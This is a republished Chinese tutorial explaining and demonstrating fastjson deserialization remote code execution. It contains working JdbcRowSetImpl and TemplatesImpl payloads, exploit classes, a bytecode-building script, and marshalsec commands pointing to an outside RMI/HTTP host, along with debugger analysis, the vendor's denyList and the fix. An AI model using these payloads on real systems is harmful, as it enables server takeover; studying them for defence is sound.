首页 / JSON / fastjson反序列化漏洞原理及利用

fastjson反序列化漏洞原理及利用

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了fastjson反序列化漏洞原理及利用，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含9627字，纯文字阅读大概需要14分钟。

内容图文

重要漏洞利用poc及版本

我是从github上的参考中直接copy的exp，这个类就是要注入的类

        import java.lang.Runtime;
import java.lang.Process;

public class Exploit {

    public Exploit() {
        try{
            // 要执行的命令
            String commands = "calc.exe";
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch(Exception e){
            e.printStackTrace();
        }

    }

    public static void main(String[] argv) {
        Exploit e = new Exploit();
    }

}

网上经常分析的17年的一个远程代码执行漏洞

适用范围版本 <= 1.2.24

        {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:/ip:port/Exploit","autoCommit":true}

FastJson最新爆出的绕过方法

适用范围版本 <= 1.2.48

        {"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}}";

预备知识

使用spring boot来搭建本次的环境，这样对java的版本和fastjson版本的修改十分的轻松，选取的依赖如下
技术分享图片

使用的是fastjson 1.2.24版本

写一个像javabean一样作用的类

这里直接用参考的一篇freebuf上的代码了，作用很简单，设置了age，username的设置和读取，secret的读取

        package com.fastjson.demo;

class Demo2User {
    private int age;
    public String username;
    private String secret;
    public int getAge() {
        return age;
    }
    public void setAge(int age) {
        this.age = age;
    }
    public String getUsername() {
        return username;
    }
    public void setUsername(String username) {
        this.username = username;
    }
    public String getSecret() {
        return secret;
    }
    @Override
    public String toString() {
        return this.age + "," + this.username + "," + this.secret;
    }
}

fastjson的工作形式

fastjson的功能就是将json格式转换为类、字符串等供下一步代码的调用，或者将类、字符串等数据转换成json数据进行传输，有点类似序列化的操作

首先介绍下序列化操作和反序列化操作需要的函数

函数	作用
JSON.toJSONString(Object)	将对象序列化成`json`格式
JSON.toJSONString(Object,SerializerFeature.WriteClassName)	将对象序列化成`json`格式，并且记录了对象所属的类的信息
JSON.parse(Json)	将`json`格式返回为对象(但是反序列化类对象没有@Type时会报错)
JSON.parseObject(Json)	返回对象是`com.alibaba.fastjson.JSONObject`类
JSON.parseObject(Json, Object.class)	返回对象会根据`json`中的@Type来决定
JSON.parseObject(Json, User.class, Feature.SupportNonPublicField);	会把Json数据对应的类中的私有成员也给还原

对应测试的例子，代码如下

        public class Demo2test1 {
    public static void main(String[] args){
        Demo2User demo2User = new Demo2User();
        demo2User.setAge(10);
        demo2User.setUsername("sijidou");
        String ser1 = JSON.toJSONString(demo2User);
        System.out.println(ser1);
        String ser2 = JSON.toJSONString(demo2User, SerializerFeature.WriteClassName);
        System.out.println(ser2);
        System.out.println("==========完美的分割线============");
        Demo2User demo2User1 = (Demo2User) JSON.parse(ser2);
        System.out.println(demo2User1);
        Object demo2User2 = JSON.parseObject(ser2);
        System.out.println(demo2User2.getClass().getName());
        Object demo2User3 = JSON.parseObject(ser2, Object.class);
        System.out.println(demo2User3);
        Object demo2User4 = JSON.parseObject(ser2,Object.class, Feature.SupportNonPublicField);
        System.out.println(demo2User4);
    }
}

可以从上面简单的函数介绍中看出，对于序列化成json格式，用JSON.toJSONString(Object,SerializerFeature.WriteMapNullValue)更加方便

而从json反序列回来，一般用JSON.parseObject()来实现

漏洞利用

对于 fastjson版本 <= 1.2.24的情况，利用思路主要有2种

通过触发点JSON.parseObject()这个函数，将json中的类设置成com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl并通过特意构造达到命令执行
通过JNDI注入

利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

TemplatesImpl类，而这个类有一个字段就是_bytecodes，有部分函数会根据这个_bytecodes生成java实例，这就达到fastjson通过字段传入一个类，再通过这个类被生成时执行构造函数。

首选准备好poc，也就是之后会装到_bytecodes里面的内容，本地测试是windows系统，所以直接弹计算器，用java运行一下，就会生成poc.class文件

        package com.fastjson.demo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class poc extends AbstractTranslet {

    public poc() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        poc t = new poc();
    }
}

技术分享图片

拿到这个文件，将其内容进行base64编码，我拿vulhub上用php写的exploit.php改了改

        <?php
$bytes = file_get_contents(‘poc.class‘);
$json = ‘{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["‘.base64_encode($bytes).‘"],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}‘;
echo $json;

同目录下运行

技术分享图片

准备下接受的代码，我从vulhub上的fastjson项目进行修改的，使代码更加简洁，逻辑很简单从post的body中的数据进行fastjson的序列化

        public class Demo3{
    public void init()
    {
        get("/", (req, res) -> "Hello World");
        post("/", (request, response) -> {
            String data = request.body();
            JSONObject obj = JSON.parseObject(data, Feature.SupportNonPublicField);
            return "122";
        });
    }

    public static void main(String[] args)
    {
        Demo3 i = new Demo3();
        i.init();
    }
}

运行下能够成功触发计算器

技术分享图片

漏洞分析

debug跟踪下堆栈看看发生了什么

最先肯定是传入点JSON.parseObject(data, Feature.SupportNonPublicField);接口，这个漏洞利用方法必须要存在Feature.SupportNonPublicField设置（即允许private对象传入）

技术分享图片

接下来会到JSON类中，发现JSON.parseObject()其实是调用了JSON.parse()

技术分享图片

下一步会进到这个函数里，是对可控长度变量的分析，这里也就是Feature.SupportNonPublicField的开启识别

技术分享图片

调用parse(String text, int features)，继续执行parser.parse()接口

技术分享图片

之后进入DeafultJSONParser.java通过switch判断，进入到LBRACE中

技术分享图片

继续跟进会调用deserializer.deserialze(this, clazz, fieldName)

技术分享图片

进入了JavaBeanDeserializer.java中，这段主要是进行反序列化操作了

技术分享图片

之后会进入到DefaultFieldDeserializer.java中调用setValue来设置参数了

技术分享图片

设置参数是会调用FieldDeserializer.java中的setValue，已经可以看到Method方法，标志着这里触发反射

技术分享图片

前面的参数会不满足if(method != null)的判断，到outputProperties的时候，因为它是个类，存在method，于是进入if分支

技术分享图片

最终到了触发点，invoke

技术分享图片

单步跟踪2次，是对_bytecodes中的base64,对应的.class文件中的类进行还原，然后触发构造函数中的代码执行，触发计算器

技术分享图片

这里单步跟踪2次时候没有任何反应,之后发现是没对com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类没进行下载，并且没有进行下断点.....

那么在这个点继续跟进，首先仔细看上面反射调用的方法com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

技术分享图片

进TemplatesImpl类里面对getOutputProperties()下断点

技术分享图片

继续跟踪newTransformer()方法，看名字就是新生成一个Transformer

技术分享图片

在第486行调用了getTransletInstance()方法，之后进入getTransletInstance()方法中

技术分享图片

因为我们精心构造的exp里面没有__class成员变量，所以会触发defineTransletClasses()方法，跟进

技术分享图片

进入后是对 _bytecodes字段进行base64解码后还原这个class,之后就出来回到了getTransletInstance()

技术分享图片

可以看到455行的translet被赋值成class.com.fastjson.demo.poc也就是我们构造的的poc类，在456行进行初始化的时候，触发代码执行

通过jndi注入

jndi是一个Java命令和目录接口，举个例子，通过jndi进行数据库操作，无需知道它数据库是mysql还是ssql，还是MongoDB等，它会自动识别。

当然rmi也可以通过jndi实现，rmi的作用相当于在服务器上创建了类的仓库的api，客户端只用带着参数去请求，服务器进行一系列处理后，把运算后的参数还回来。

这里漏洞利用要明确思路：

攻击者在本地启一个rmi的服务器，上面挂上恶意的payload

让被攻击的目标反序列化特定的类，这个类最终会调用lookup()函数，导致jndi接口指向我们的rmi服务器上的恶意payload

利用方法

在本地挂上恶意代码执行的类，本地复现到了实际中又因为要公网ip所以要重新部署，所以我这里就直接把恶意的Exp和rmi服务器都放在vps上了

准备Exp

        import java.lang.Runtime;
import java.lang.Process;

public class Exp {

    public Exp() {
        try{
            // 要执行的命令
            String commands = "calc";
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch(Exception e){
            e.printStackTrace();
        }

    }

    public static void main(String[] argv) {
        Exp e = new Exp();
    }

}

编译一下

        javac Exp.java

技术分享图片

在本地启动rmi服务器,这里推荐github上的一个项目marshalsec

https://github.com/mbechler/marshalsec

需要用maven进行生成jar包，进入marshalsec目录后

        git clone https://github.com/mbechler/marshalsec.git
cd marshalse
mvn clean package -Dmaven.test.skip=true

之后使用过的是这个包，可以移动到仍意目录都可以

技术分享图片

接下来就是启动rmi服务器了，这里要做2个步骤

第一使用python的SimpleHTTPServer模块在刚刚编译好的Exp.class目录下开一个web服务

        python -m SimpleHTTPServer 8000

技术分享图片

访问下网页是能看到的

技术分享图片

之后利用marshalsec,启动rmi服务，再开一个shell

         java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer  http://mi0.xyz:8000/#Exp

技术分享图片

万事已经准备好了，接下来只要在被攻击的目标(这里是本机)发送python进JSON.parse()就会触发

        import com.alibaba.fastjson.JSON;

public class poc {
    public static void main(String[] args) throws Exception {
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://134.175.147.161:1099/Exp\",\"autoCommit\":true}";
        JSON.parse(payload);
    }
}

成功弹出计算器

技术分享图片

之前一直尝试不成功，改了下jre的版本为1.8_102能够触发

技术分享图片

1.2.25之后修复方案

在1.2.25之后，在ParserConfig.java中添加了public Class<?> checkAutoType(String typeName, Class<?> expectClass)过滤的函数

注意其中的这一段，如果类的名字开头在deny名单里面，就直接抛出错误了

技术分享图片

看看denyList的名单

         private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");

参考链接

https://www.freebuf.com/vuls/178012.html

https://www.cnblogs.com/mrchang/p/6789060.html

https://www.cnblogs.com/hac425/p/9800288.html

https://xz.aliyun.com/t/5680

https://www.jianshu.com/p/2bc43d16a3a6

https://github.com/JoyChou93/java-sec-code/wiki/Fastjson

https://cloud.tencent.com/developer/article/1468779

原文：https://www.cnblogs.com/sijidou/p/13121332.html

内容总结

以上是互联网集市为您收集整理的fastjson反序列化漏洞原理及利用全部内容，希望文章能够帮你解决fastjson反序列化漏洞原理及利用所遇到的程序开发问题。如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容，请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/1218624.html

来源：【匿名】

【上一篇】IIS Express中如何配置支持json 【下一篇】浅析php中json_encode()和json_decode()

更多 ►

【fastjson反序列化漏洞原理及利用】教程文章相关的互联网学习教程文章

fastjson反序列化漏洞原理及利用【代码】【图】

重要漏洞利用poc及版本我是从github上的参考中直接copy的exp，这个类就是要注入的类import java.lang.Runtime; import java.lang.Process;public class Exploit {public Exploit() {try{// 要执行的命令String commands = "calc.exe";Process pc = Runtime.getRuntime().exec(commands);pc.waitFor();} catch(Exception e){e.printStackTrace();}}public static void main(String[] argv) {Exploit e = new Exploit();}} 网上经常分...

【iOS开发-95】JSON反序列化、XML数据解析以及主线程中的UI更新等小细节

我们发送请求后，一般会获得data数据，这个时候我们反序列化即可。常用的数据格式之一是JSON，格式如：{key:value,key:value,key:value....}（1）因为iOS5之前苹果不支持JSON解析，所以催生很多第三方解析，SBJson以及JSONKit。简单地JSON反序列化示例如下： NSURL *url=[NSURL URLWithString:@"http://www.baidu.com"];NSURLRequest *request=[NSURLRequest requestWithURL:url];[NSURLConnection sendAsynchronousRequest:req...

C#在Json反序列化中处理键的特殊字符

假设有如下Json 数据： view sourceprint?1.{2."id" : 1,3."@value" : "this a @",4."$p" : "my name a $"5.}通常情况下，在Json反序列化时，将Json映射到序列化的类，无需指定其名称。如view sourceprint?1.public JsonTest{2.public string id{get;set;}3.}在反序列化时会自动将Json中的ID与类中的ID对应。但是当键有特殊字符时，如 $ , @ 等，无法定义类的属性中含有特殊字符，因此，需要使用 [DataContract] 和 [DataMember] 来...

Asp.Net中JSON的序列化和反序列化-----JavaScriptSerializer ,加上自己工作心得

在工作中和手机通信用到web服务和javascriptSerializer，返回json数据，供手机端调用，一开始返回的数据是一大堆，比如[{"word_picture9":"http://boss.xbxw.net/Upload/word/guojia/p_yinggelan.jpg","word_picture8":"http://boss.xbxw.net/Upload/word/guojia/p_zhongguo.jpg","word_voice2":"http://boss.xbxw.net/Upload/voice/approve.mp3","word_picture13":"http://boss.xbxw.net/Upload/word/gaokao/p_qingxu.jpg","word_...

使用JSONObject 深度序列化和反序列化

JSONObject 和JSONArray 是json-lib.jar里面最常用的两个类,分别可以对对象和数组(集合)进行序列化和反序列化,结构清晰命了,简单易用,功能强大,效率比较高,使用至今一直较为推崇,虽然尚有诸多功能尚未完全了解,姑且边学边记,以作归纳、沉淀。首先看两个类：Student类：public class Student {private String name;private String gerder;private String address;public String getName() {return name;}public void setName(String...

反序列化json串时限定字段不能为空【代码】

设计Json Api时，总会遇到将Json字符串转化为Java 对象，然后再处理业务逻辑。但对象中的某些字段我们不希望它们为空，这就需要我们对Java对象的字段进行校验。如果对象中包含多级对象，这样校验起来就非常麻烦。我使用Google的gson进行json的序列化和反序列化操作，所以就想到gson是否具有这样的过滤机制，查看了好久的api，无奈也没有什么收获，所以就想到自己修改gson代码，增加这样一个功能。实现方式类似gson中的@Seriali...

C# json反序列化对象中嵌套数组 (转载)【代码】【图】

看图：这里可以看到是二层嵌套！！使用C#如何实现？？思路：使用list集合实现 → 建立类 → list集合 → 微软的 Newtonsoft.Json （一款.NET中开源的Json序列化和反序列化）sonXMText类using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks;namespace JsonDemo {public class sonXMText{public string xmleixing { get; set; }public string count { get; set...

C# Json数据与对象的序列化与反序列化【代码】【图】

先在NuGet包管理器中获取以下包：在cs文件中引入命名空间：1using Newtonsoft.Json;方法的实现：1publicstaticstring ObjectToJson(thisobject data) 2 { 3return JsonConvert.SerializeObject(data); 4 } 56publicstatic T JsonToObject<T>(thisstring data) 7 { 8return JsonConvert.DeserializeObject<T>(data); 9 } 原文：http://www.cnblogs.com/kentsang168/p/6367216.html

[转]ASP.NET中JSON的序列化和反序列化【代码】【图】

本文转自：http://www.cnblogs.com/zhaozhan/archive/2011/01/09/1931340.html JSON是专门为浏览器中的网页上运行的JavaScript代码而设计的一种数据格式。在网站应用中使用JSON的场景越来越多，本文介绍ASP.NET中JSON的序列化和反序列化，主要对JSON的简单介绍，ASP.NET如何序列化和反序列化的处理，在序列化和反序列化对日期时间、集合、字典的处理。一、JSON简介 JSON(JavaScript Object Notation,JavaScript对象表示法...

FastJson 解析、序列化及反序列化【代码】【图】

一、环境准备：使用maven特性在pom.xml中导入fastjson的依赖包<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.47</version></dependency>二、序列化package cn.xiaobing.json;import com.alibaba.fastjson.JSONObject;import cn.xiaobing.pojo.ResultJson;publicclass jsonDemo02 {/**将对象序列化成json* @return j...

C#反序列化json字符串时，提示：应为来自命名空间“”的元素“root”。。遇到名称为“”、命名空间为“”的“None”。

反序列化调用接口返回的字符串时，出现：应为来自命名空间“”的元素“root”。。遇到名称为“”、命名空间为“”的“None”。，导致反序列化数据失败，这种失败并有时候并不会直接提示反序列化失败（抛异常），而是把不能正常反序列化的部分丢弃（值为null），查了一下网上的资料，有说是使用反序列化和序列化的版本不一致，也有说是命名空间的问题，我检查了貌似都没问题，实在没办法了，直接先实例化一个，序列化后和接口返回的...

xml、json反序列化得到相应的类【代码】

using System.Xml.Serialization; using Newtonsoft.Json;xml转换///<summary>/// XML转换实体类///</summary>///<typeparam name="T">xml对应的实体类</typeparam>///<param name="res">xml字符串</param>///<returns>失败返回null,成功返回对应T</returns>public T GetXmlT<T>(string res) where T : class{try{XmlSerializer serializer = new XmlSerializer(typeof(T));StringReader rdr = new StringReader(res);T rt = seria...

Jackson反序列化泛型List(使用JavaType将json字符串转换成泛型List)【代码】

ObjectMapper mapper = new ObjectMapper(); String json = "[{\"name\":\"a\",\"password\":\"345\"},{\"name\":\"b\",\"password\":\"123\"}]";//第一种方法 List<User> list = mapper.readValue(json, new TypeReference<List<User>>(){/**/});//第二种方法 JavaType javaType = mapper.getTypeFactory().constructCollectionType(List.class, User.class); List<User> list2 = mapper.readValue(json, javaType); Jackson，我感...

c# 通过json.net中的JsonConverter进行自定义序列化与反序列化【代码】【图】

相信大家在工作中会经常遇见对json进行序列化与反序列化吧，但通常的序列化与反序列化中的json结构与c#中的类模型结构是相对应的，我们是否可以在序列化一个对象时候，让我们json的数据结构能按照自己的意愿，而不必与该对象的数据结构一样呢？，比如说，一个对象，只有一个名为"ID"的int类型的属性，值为1，如果序列化该对象，则能得到json：{"ID":1},但我现在希望得到的json的"ID"值是bool类型：{"ID":true}。要满足能够进行自定...

反序列化json的坑【图】

json格式没有错误，内容没有什么异常反序列化一直显示第一行有异常符号，在https://jsonlint.com/上面检测了一下，发现了这个解决办法：UTF-8格式编码改成 UTF-8无BOM格式编码原文：https://www.cnblogs.com/dayang12525/p/9777433.html

首页 / JSON / fastjson反序列化漏洞原理及利用

fastjson反序列化漏洞原理及利用

内容导读

内容图文

重要漏洞利用poc及版本

网上经常分析的17年的一个远程代码执行漏洞

FastJson最新爆出的绕过方法

预备知识

写一个像javabean一样作用的类

fastjson的工作形式

漏洞利用

利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

漏洞分析

通过jndi注入

1.2.25之后修复方案

最新fastjson绕过黑名单REC

参考链接

内容总结

内容备注

内容手机端

【fastjson反序列化漏洞原理及利用】教程文章相关的互联网学习教程文章

fastjson反序列化漏洞原理及利用【代码】【图】

【iOS开发-95】JSON反序列化、XML数据解析以及主线程中的UI更新等小细节

C#在Json反序列化中处理键的特殊字符

Asp.Net中JSON的序列化和反序列化-----JavaScriptSerializer ,加上自己工作心得

使用JSONObject 深度序列化和反序列化

反序列化json串时限定字段不能为空【代码】

C# json反序列化对象中嵌套数组 (转载)【代码】【图】

C# Json数据与对象的序列化与反序列化【代码】【图】

[转]ASP.NET中JSON的序列化和反序列化【代码】【图】

FastJson 解析、序列化及反序列化【代码】【图】

C#反序列化json字符串时，提示：应为来自命名空间“”的元素“root”。。遇到名称为“”、命名空间为“”的“None”。

xml、json反序列化得到相应的类【代码】

Jackson反序列化泛型List(使用JavaType将json字符串转换成泛型List)【代码】

c# 通过json.net中的JsonConverter进行自定义序列化与反序列化【代码】【图】

反序列化json的坑【图】

反序列化 - 相关标签

漏洞 - 相关标签

JSON - 最新教程

JSON - 最热教程